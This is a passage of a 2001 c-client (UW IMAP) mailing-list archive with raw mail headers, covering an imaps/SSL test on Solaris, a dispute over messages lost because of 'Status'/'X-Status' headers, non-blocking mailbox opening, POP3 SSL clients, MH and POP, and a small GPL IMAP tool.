claven.cac.washington.edu ; Fri Jul 27 05:05:09 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6RC56C24710; Fri, 27 Jul 2001 05:05:06 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6RC3Wp09830; Fri, 27 Jul 2001 05:03:32 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6RC2m083638 for ; Fri, 27 Jul 2001 05:02:48 -0700 Received: from cat.cbpf.br (cbpfsu1.cat.cbpf.br [152.84.253.2]) by mxu2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6RC2kK21785 for ; Fri, 27 Jul 2001 05:02:47 -0700 Received: from positron (positron [152.84.253.13]) by cat.cbpf.br (8.9.3/) with ESMTP id JAA02618 for ; Fri, 27 Jul 2001 09:05:37 -0300 (EST) Received: from positron (positron [152.84.253.13]) by positron (8.9.1/8.9.1) with ESMTP id IAA09814 for ; Fri, 27 Jul 2001 08:57:16 -0300 (EST) Message-Id: Date: Fri, 27 Jul 2001 08:57:16 -0300 (EST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: =?X-UNKNOWN?Q?Jos=E9_Gracia_Neto_-_CAT?= To: Subject: cannot run imaps on Solaris 8 MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Sender: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, This is my first question to this list. I just installed imap on a sparc machine running Solaris 8. I compiled it from source, activating SSL just like BUILD and SSLBUILD tells me to do. As for imap on port 143, it works just fine, but imaps on 993 gives this message: % telnet myhost 993 Trying 152.123.456.10... Connected to myhost. Escape character is '^]'. O logout Jul 27 08:23:56 myhost imapd[625]: SSL error status: error:140760FC:SSL routines:SSL23_GET_CLIENT_HELLO:unknown protocol Connection closed by foreign host. % Can anybody help me? Thanks Jose -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Fri Jul 27 10:53:04 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Fri, 27 Jul 2001 10:53:03 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6RHr1D16566 for ; Fri, 27 Jul 2001 10:53:01 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Fri Jul 27 10:53:00 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6RHqwu25762; Fri, 27 Jul 2001 10:52:58 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f6RHoEH16424; Fri, 27 Jul 2001 10:50:15 -0700 Received: from mxu3.u.washington.edu (mxu3.u.washington.edu [140.142.33.7]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6RHh9062886 for ; Fri, 27 Jul 2001 10:43:09 -0700 Received: from Tomobiki-Cho.CAC.Washington.EDU (ittai@tomobiki-cho.cac.washington.edu [128.95.135.58]) by mxu3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f6RHh8X32342 for ; Fri, 27 Jul 2001 10:43:09 -0700 Message-Id: Date: Fri, 27 Jul 2001 10:41:55 -0700 (PDT) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: =?X-UNKNOWN?Q?Jos=E9_Gracia_Neto_-_CAT?= Cc: c-client@u.washington.edu Subject: re: cannot run imaps on Solaris 8 In-Reply-To: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=US-ASCII X-Sender: Mark Crispin X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Fri, 27 Jul 2001 08:57:16 -0300 (EST), =?X-UNKNOWN?Q?Jos=E9_Gracia_Neto_- _CAT?= wrote: > % telnet myhost 993 This is not a reasonable test. You can't telnet to a port 993 server. You got exactly the correct response expected from doing that. Try using openssl's "s_client" command. From pinedev@shivax2.cac.washington.edu Thu Aug 9 20:26:21 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Thu, 9 Aug 2001 20:26:20 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7A3QJD00916 for ; Thu, 9 Aug 2001 20:26:19 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Thu Aug 09 20:26:19 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7A3QHu10952; Thu, 9 Aug 2001 20:26:17 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7A3Q8p24964; Thu, 9 Aug 2001 20:26:09 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7A3MU097034 for ; Thu, 9 Aug 2001 20:22:30 -0700 Received: from jik.kamens.brookline.ma.us (jik-0.dsl.speakeasy.net [66.92.77.120]) by mxu101.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7A3MTu05019 for ; Thu, 9 Aug 2001 20:22:29 -0700 Received: (from jik@localhost) by jik.kamens.brookline.ma.us (8.11.4/8.11.4) id f7A3KER00555; Thu, 9 Aug 2001 23:20:14 -0400 Message-Id: <200108100320.f7A3KER00555@jik.kamens.brookline.ma.us> Date: Thu, 9 Aug 2001 23:20:14 -0400 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Jonathan Kamens To: MRC@cac.washington.edu Cc: IMAP@cac.washington.edu, c-client@u.washington.edu Subject: Re: IMAP bug: incoming mail with "Status: D" or "X-Status: D" is lost forever! In-Reply-To: References: X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN (I have been informed that I started this discussion on the wrong mailing list -- I thought that this list was for discussion of the wu-imap package, when in fact that's the "c-client" list. Therefore, this will be my last message to this list about this topic; any further responses I send will be directed only to the "c-client" list. I apologize for bothering those of you who don't care about the uw-imap package.) > Date: Fri, 10 Aug 2001 00:04:54 +0100 (GMT Daylight Time) > From: Mark Crispin > > > Why would someone examine > > the deleted messages in his mailbox to determine if someone else just > > happened to accidentally forward a message to him with "Status: D" or > > "X-Status: D" in its header? > > If a user finds a deleted message in his mailbox when he opens it, it is > generally because he made the decision not to expunge it in the previous > session. One would assume that a user would make a note of such messages, > particularly ones that aren't remembered. Um, that may be how you use your E-mail client, but there are many, many people in the world who do not expunge after every session -- they only expunge manually. They would never notice messages marked "deleted" accidentally by the sender. > > While "Status" is arguable, "X-Status" is not, because "X-Status" is a > > perfectly valid RFC 822 header. Software which does not handle > > compliant messages is by definition broken. > > You got it backward; the use of X-Status is absolutely > standards-compliant, and the use of Status is questionable. You are > welcome to launch a campaign to get every MUA on every UNIX system in the > world changed so that they do not use Status:. No, YOU'VE got it backwards. The question is whether it is legal for an SMTP message on the wire to contain a "Status" or "X-Status" field. "Status" is illegal since it isn't specified anywhere and applications aren't supposed to add unspecified fields without "X-" (nevertheless, MTAs and MUAs are supposed to try to cope well with such nonstandard headers, and most of them do). "X-Status", on the other hand, is perfectly legal because all headers starting with "X-" are by definition legal. The use of "Status" or "X-Status" in the header of a message in a Unix mailbox file is completely orthogonal to the question of what the header of the message is allowed to contain before it arrives at the site. You can't take the standard which says that "X-Status" is legal in SMTP messages and claim that that proves that it's legal for wu-imap to use "X-Status" in Unix mailbox headers. In fact, it proves exactly the opposite -- since "X-Status" is legal in SMTP messages, wu-imap needs to do something special to ensure that it doesn't break such legal SMTP headers. > > Finally, I'm curious if you can justify your assertion that "Status" > > and "X-Status" "have long use" in the Unix mailbox format. > > The use of Status: on UNIX definitely preceeds RFC 822, and probably also > RFC 733. X-Status: was in use in the late 1980s. Any proof? > RFC [2]822 (not SMTP) says nothing whatsoever about local interpretation > of messages. It refers only to transmission of messages on the wire. > [2]822 is quite explicit that the interpretation of X- headers is > application specific. You're trying to use RFC 2822 for a purpose for which it specifically is not intended. Some excerpts (emphasis mine): This standard specifies a syntax for text messages that are sent BETWEEN COMPUTER USERS, within the framework of "electronic mail" messages. ... This specification is intended as a definition of what message content format is to be passed between systems. Though some message systems locally store messages in this format (which eliminates the need for translation between formats) and others use formats that differ from the one specified in this standard, LOCAL STORAGE IS OUTSIDE OF THE SCOPE OF THIS STANDARD. Note: THIS STANDARD IS NOT INTENDED TO DICTATE THE INTERNAL FORMATS USED BY SITES, the specific message system features that they are expected to support, or any of the characteristics of user interface programs that create or read messages. In addition, this standard does not specify an encoding of the characters for either transport or storage; that is, it does not specify the number of bits used or how those bits are specifically transferred over the wire or stored on disk. You're claiming that it's legal for wu-imap to use X-Status as magic because RFC 2822 says X- headers are legal. That's wrong, because RFC 2822 says nothing about internal storage formats, which is what wu-imap's usage of Status and X-Status is. What RFC 2822 does say is that X-Status is a legal header in the "Internet Message Format" and that therefore, software which manipulates "Internet Messages" has to deal properly with it. > In circumstances where it is plain that somebody is playing around, yes. I lost three E-mail messages since July 27 because of this bug. I have no idea how many E-mail messages I've lost in the past because of it. The people who sent me those E-mail messages were not "playing around"; they were simply unaware that using a header called "X-Status" would cause problems. This problem could be tickled simply by someone who doesn't know better writing software that uses "Status" or "X-Status" for its own purposes; are you claiming that everyone in the world knows as much about the standards as you (think you) do? This problem could be tickled simply by someone who believes that it's legitimate to use a mail header called "X-Status" in their software, since after all, the standards stay it's legal and it's a pretty logical name to use. And this problem could be tickled simply by someone resending a message which has in it a "Status" or "X-Status" header introduced by wu-imap. Just for kicks, I went through my E-mail archives (over 89,000 messages extending back over 12 years) and tried to analyze them to see if there were *other* messages I would have missed over the years if I'd been reading my mail through ipop3d. This was a difficult exercise because I have no way of telling for how much of that time my *own* software was inserting the "Status:" header into the messages I put into my archive. However, using various heuristics to eliminate those, I found at least 34 messages which almost certainly had this problem, and there are certainly more than that which I had to omit due to uncertainty. In short, this problem *does* happen. > The only messages that are dropped are messages which contain the > indicator of "deleted" used by several MUAs. There is no legitimate > reason to send a message with such an indicator. Hogwash. "I didn't know it would cause trouble and it was useful to me," "The standards say it shouldn't cause trouble, so why shouldn't I use it?" and, "I did it by accident," are all "legitimate reasons" for a message to contain such an indicator. > If you want to scream, rave, and pull hair at various MUAs, I don't. I want wu-imap to (a) accept RFC-compliant E-mail messages without dropping them on the floor and (b) operate on the principle of "be generous in what you accept and conservative in what you generate," which is a far more accepted standard for Internet software than your "GIGO". Even if you're right that binmail, procmail, etc. should escape this field and the other fields that are magic to wu-imap, wu-imap itself should still cope well when they don't. There's that "be generous in what you accept" thing again. > It is the only practical solution if you choose to stay with the > traditional UNIX mailbox format. Here are some other "practical solutions": 1) Store this information somewhere other than in the mailbox. This is not impossible. Other MTA's (e.g., www.courier-mta.org) do it. 2) Store this information in the magic first message in the mailbox, rather than in the header of individual messages. 3) Store a hash on the X-UID (using a key that is stored in the mailbox header), and ignore magic fields (Status, X-Status, X-Keywords, etc.) on messages which do not contain an X-UID field with a valid hash. 4) Modify ipop3d to allow the user to access deleted messages just like undeleted messages, until they are actually deleted during that POP3 session. Even if the user set the flag (which is unlikely, since users do not frequently switch between POP3 and IMAP), if he didn't expunge the messages from the mailbox during the IMAP session, he presumably didn't want to lose the message, so expunging it when the POP3 session is closed is the wrong behavior. Granted, this is only a partial solution, since it doesn't deal with IMAP users who get sent deleted messages and never notice them, but it's better than the current behavior of the messages disappearing completely without the user ever seeing them. If I were to submit patches to implement one of these other solutions, would you accept them? Jonathan Kamens From pinedev@shivax2.cac.washington.edu Mon Aug 13 08:56:57 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 13 Aug 2001 08:56:56 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7DFutD13608 for ; Mon, 13 Aug 2001 08:56:55 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Aug 13 08:56:54 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7DFuru31312; Mon, 13 Aug 2001 08:56:53 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7DFrep17226; Mon, 13 Aug 2001 08:53:41 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7DFmx082804 for ; Mon, 13 Aug 2001 08:49:00 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7DFmxq25522 for ; Mon, 13 Aug 2001 08:48:59 -0700 Received: FROM stratus.swi.com.br BY mxu4.u.washington.edu ; Mon Aug 13 08:48:58 2001 -0700 Received: from speedy.swi (titan.swi.com.br [200.203.204.141]) by stratus.swi.com.br (8.11.1/8.11.1) with ESMTP id f7DFmg106664 for ; Mon, 13 Aug 2001 12:48:43 -0300 Message-Id: <200108131548.f7DFmg106664@stratus.swi.com.br> Date: Mon, 13 Aug 2001 12:48:43 -0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Raul Dias To: c-client@u.washington.edu Subject: opening a mailbox ina loop event (making it non-BLOCKING) Content-Type: text/plain; charset="ISO-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit MIME-Version: 1.0 X-Local-Destination: X-Local-Origin: chaos@swi.com.br X-Gateway: Speedway Internet Service http://www.swi.com.br X-Secret: http://www.swi.com.br/~chaos/cmc/cmc_secret X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, Sometimes users have huges mailboxes. This can take quite a few seconds (sometimes more) to open. It is more common to have it done in a nonthreaded application which will block until the mailbox is open. In this cases the application is usually a GUI or it is in a event loop that let the application do lots of work at the same time (e.g. several sockets opened for different reasons). In a GUI application, it will look like as "hanged" to the user until the c-client finishes opening the mailbox. In a application with others Network connection, it will make a response time (while opening a mailbox) really slow and may even cause a timeout. So here is my question. How do I use c-client in a NON-BLOCKING way? is that even possible? If that isn't I can think in two ways to help that (at least to minimize the problem): * Enable a callback to be called from c-client during the opening of a mailbox and other BLOCKING calls. This would let the application check for pending events (like repainting a frozen GUI) during the mailbox opening. * Create a iteration opening function. This function would be called in a loop until it flags as DONE (can I say NIL?) each time it is called it will make a little work in the job of opening a mailbox. The advantage of this approach is that it can be added as an "idle" event to a event loop (even in a GUI event loop) and will be interating happly with them. Of course, this approachs add extra overhead to the proccess and will be a little slower than the way it is done now, but the result will be satisfatory for all sides. I guess some other developers in this list have seen this problem too. How do you resolve it? Am I missing another kind of approach? Regards, Raul Dias -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Mon Aug 13 10:57:16 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Mon, 13 Aug 2001 10:57:16 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7DHvFD27176 for ; Mon, 13 Aug 2001 10:57:15 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Mon Aug 13 10:57:14 2001 -0700 Received: from list3.u.washington.edu (list3.u.washington.edu [140.142.8.100]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7DHv9u04018; Mon, 13 Aug 2001 10:57:09 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list3.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7DHtEX26462; Mon, 13 Aug 2001 10:55:14 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7DHpr020582 for ; Mon, 13 Aug 2001 10:51:53 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7DHprq10886 for ; Mon, 13 Aug 2001 10:51:53 -0700 Received: FROM hermes.birddog.com BY mxu4.u.washington.edu ; Mon Aug 13 10:51:52 2001 -0700 Received: from birddog.com (td.birddog.com [10.10.10.200]) by hermes.birddog.com (8.11.5/8.11.5) with ESMTP id f7DHrXp31632 for ; Mon, 13 Aug 2001 12:53:34 -0500 Message-Id: <3B7813B2.FB1ED1EF@birddog.com> Date: Mon, 13 Aug 2001 12:51:46 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Terry Davis To: c-client@u.washington.edu Subject: pop3 ssl MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Sender: td@hermes.birddog.com X-Accept-Language: en X-Scanned-By: MIMEDefang 1.3 (www dot roaringpenguin dot com slash mimedefang) X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hello, I like the idea of pop3 ssl but are their any popular (windows) clients that can take advantage of this feature? Thank you, -- Terry Davis Systems Administrator BirdDog Solutions, Inc. (402) 829-6059 www.birddog.com -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 14 00:27:49 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 14 Aug 2001 00:27:49 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7E7RmD28017 for ; Tue, 14 Aug 2001 00:27:48 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue Aug 14 00:27:47 2001 -0700 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7E7RlC03172; Tue, 14 Aug 2001 00:27:47 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7E7Pdp07058; Tue, 14 Aug 2001 00:25:39 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7E7OR059024 for ; Tue, 14 Aug 2001 00:24:28 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by mxu101.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7E7ORu32147 for ; Tue, 14 Aug 2001 00:24:27 -0700 Received: FROM dag.newtech.fi BY mxu1.u.washington.edu ; Tue Aug 14 00:24:26 2001 -0700 Received: (qmail 23561 invoked by uid 200); 14 Aug 2001 07:24:15 -0000 Message-Id: <20010814072415.23560.qmail@dag.newtech.fi> Date: Tue, 14 Aug 2001 10:24:15 +0300 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Dag Nygren To: c-client@u.washington.edu Cc: dag@newtech.fi Subject: POP and MH ? Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi, am using MH here and am quite happy with that. I have successfully used imapd to read my MH-mailboxes using the IMAP protocol but now I have a Palm that kows only POP and would like to connect to the main mailserver. The problem is that "INBOX" doesn't seem to apply to the MH-driver, but will show my home-directory instead (?!). (The same thing with IMAP, but here you can choose). As there is no way of choosing a #mh/inbox folder through POP, Is there a way to convince C-client to use my MH-inbox as the default folder ? Best Regards -- = Dag Nygren email: dag@newtech.fi Oy Espoon NewTech Ab phone: +358 9 8024910 Tr=E4sktorpet 3 fax: +358 9 8024916 02360 ESBO Mobile: +358 400 426312 FINLAND -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Tue Aug 14 13:21:55 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Tue, 14 Aug 2001 13:21:54 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7EKLqD29522 for ; Tue, 14 Aug 2001 13:21:53 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Tue Aug 14 13:21:50 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7EKLoC28541; Tue, 14 Aug 2001 13:21:50 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7EKIqE29024; Tue, 14 Aug 2001 13:18:52 -0700 Received: from mxu104.u.washington.edu (mxu104.u.washington.edu [140.142.33.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7EKGv058958 for ; Tue, 14 Aug 2001 13:16:57 -0700 Received: from mxu4.u.washington.edu (mxu4.u.washington.edu [140.142.33.8]) by mxu104.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7EKGuq13791 for ; Tue, 14 Aug 2001 13:16:57 -0700 Received: FROM cactus.intern.iris-advies.com BY mxu4.u.washington.edu ; Tue Aug 14 13:16:56 2001 -0700 Received: (qmail 21801 invoked from network); 14 Aug 2001 19:16:49 -0000 Received: from fern.intern.iris-advies.com (HELO there) (emile@192.168.1.4) by cactus.intern.iris-advies.com with SMTP; 14 Aug 2001 19:16:49 -0000 Message-Id: <200108142016.f7EKGuq13791@mxu104.u.washington.edu> Date: Tue, 14 Aug 2001 22:18:16 +0200 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Emiliano To: c-client@u.washington.edu Subject: Sample IMAP util Content-Type: text/plain; charset="iso-8859-1" MIME-Version: 1.0 Content-Transfer-Encoding: 8bit X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN Hi all, I've crufted a small imap tool building on the c-client interface. I'm offering it in the hope it will be useful to someone, if only to serve as an example of c-client coding (I'm not claiming it's a good example, though). It's based loosely on the imap-utils programs, with some of the OCCC candidate coding removed ;) Damn, Mark, some of that coding is d^Htense ;) It can be found at http://www.iris-advies.nl/misc/imap-moveflagged.tar.gz. What it does is probably rather specific to my situation here: there are some of us who have pretty humoungous mailboxes, and don't want to delete stuff for archival reasons, but oversight is going rapidly. What I've done is set up secondary imap acounts for us (cyrus imapd with userdb authentication makes that pretty easy) and run this tool every night which just seeks out all messages that are flagged and moves them into the same folder in the mirror account. I'm making this available under the GPL. If for some unforeseen reason this is useful to anyone else and the GPL is a problem for you, I'm open to relisence under pretty much any OSI-approved license. BTW, I'm not using UIDs right now because I couldn't find coherent documentation nor examples on how to use them. Are mail IDs reshuffled when someone is touching/deleting his mail? That could put me in a world of hurt, I guess. The program runs at 3am but some of these people have no life and occasionally one will still be logged in at that time. Not me of course. Nope. Never. Emile -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Wed Aug 15 08:46:28 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Wed, 15 Aug 2001 08:46:27 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7FFkQe14240 for ; Wed, 15 Aug 2001 08:46:26 -0700 (PDT) Received: FROM mx1.cac.washington.edu BY newman.cac.washington.edu ; Wed Aug 15 08:46:25 2001 -0700 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx1.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7FFkOS29958; Wed, 15 Aug 2001 08:46:24 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7FFk2E17590; Wed, 15 Aug 2001 08:46:02 -0700 Received: from mxu101.u.washington.edu (mxu101.u.washington.edu [140.142.32.14]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7FFiY065036 for ; Wed, 15 Aug 2001 08:44:34 -0700 Received: from mxu1.u.washington.edu (mxu1.u.washington.edu [140.142.32.8]) by mxu101.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7FFiYu12959 for ; Wed, 15 Aug 2001 08:44:34 -0700 Received: FROM silknis1.sisilk.com BY mxu1.u.washington.edu ; Wed Aug 15 08:44:33 2001 -0700 Received: from ad2 (d13-229.sisilk.com [10.2.13.229]) by silknis1.sisilk.com (8.9.3/8.9.3) with SMTP id IAA02056 for ; Wed, 15 Aug 2001 08:44:29 -0700 (PDT) Message-Id: Date: Wed, 15 Aug 2001 08:47:38 -0700 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: "Girish Agarwal" To: Subject: FW: Installation MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200 X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN -----Original Message----- From: Girish Agarwal [mailto:girisha@sisilk.com] Sent: Wednesday, August 15, 2001 8:29 AM To: c-client@u.washington.edu Cc: girisha@sisilk.com Subject: FW: Installation Hi, I want to install IMAP server on my solaris machine. Where will I specify the sysinbox directory name and what is the syntax( if I have to modify that in env_unic.c file ). Also we are creating the user folders under /home/$username/Mail directory. Please advise as to where should I make the changes so as to have this setup. Please reply, girish -- ----------------------------------------------------------------- For information about this mailing list, and its archives, see: http://www.washington.edu/imap/imap-list.html ----------------------------------------------------------------- -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sat Aug 18 16:17:40 2001 -0700 Return-Path: Received: via tmail-4.1(12) (invoked by user mailnull) for mailarch+c-client; Sat, 18 Aug 2001 16:17:36 -0700 (PDT) Return-Path: Received: from newman.cac.washington.edu (newman.cac.washington.edu [140.142.32.4]) by groupms.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with SMTP id f7INHZn08177 for ; Sat, 18 Aug 2001 16:17:36 -0700 (PDT) Received: FROM mx2.cac.washington.edu BY newman.cac.washington.edu ; Sat Aug 18 16:17:35 2001 -0700 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx2.cac.washington.edu (8.11.2+UW01.01/8.11.2+UW01.08) with ESMTP id f7INHXE28135; Sat, 18 Aug 2001 16:17:33 -0700 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id f7INGWH33438; Sat, 18 Aug 2001 16:16:32 -0700 Received: from mxu102.u.washington.edu (mxu102.u.washington.edu [140.142.32.15]) by lists.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with ESMTP id f7INEB0108644 for ; Sat, 18 Aug 2001 16:14:12 -0700 Received: from mxu2.u.washington.edu (mxu2.u.washington.edu [140.142.32.9]) by mxu102.u.washington.edu (8.11.2+UW01.01/8.11.2+UW01.04) with SMTP id 